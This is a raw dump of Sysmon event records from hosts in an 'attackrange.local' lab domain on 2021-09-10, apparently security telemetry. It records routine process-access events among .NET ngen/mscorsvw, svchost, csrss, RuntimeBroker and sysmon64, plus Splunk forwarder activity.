14:45:31.898{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8B-613B-E00A-00000000F001}1576C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.898{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15084|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.898{7BD73061-6D0E-613B-8A06-00000000F001}32686120C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+169ae|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1535|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+16ef|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+a243|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7 354300x800000000000000045881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:28.842{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59270-false10.0.1.12-8089- 10341000x800000000000000045880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.805{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8B-613B-DF0A-00000000F001}6564C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.789{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8B-613B-DF0A-00000000F001}6564C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.789{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8B-613B-DF0A-00000000F001}6564C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.680{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8B-613B-DE0A-00000000F001}6572C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.664{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F8B-613B-DE0A-00000000F001}6572C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.664{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8B-613B-DE0A-00000000F001}6572C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.570{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8B-613B-DD0A-00000000F001}6944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.570{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8B-613B-DD0A-00000000F001}6944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.570{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8B-613B-DD0A-00000000F001}6944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.523{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8B-613B-DC0A-00000000F001}6728C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.508{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F8B-613B-DC0A-00000000F001}6728C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.508{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8B-613B-DC0A-00000000F001}6728C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.493{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ADB8E1DC3712CB4533D67CCDD625A042,SHA256=BB9FCFFB58DD1537F48D5129F0FBBEAD4ABCEEF753216A243847A4A212A7E37F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014028Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:31.721{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F8B-613B-9B04-00000000F101}3140C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014027Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:31.721{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014026Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:31.721{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014025Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:31.721{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014024Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:31.721{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014023Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:31.721{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014022Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:31.721{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014021Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 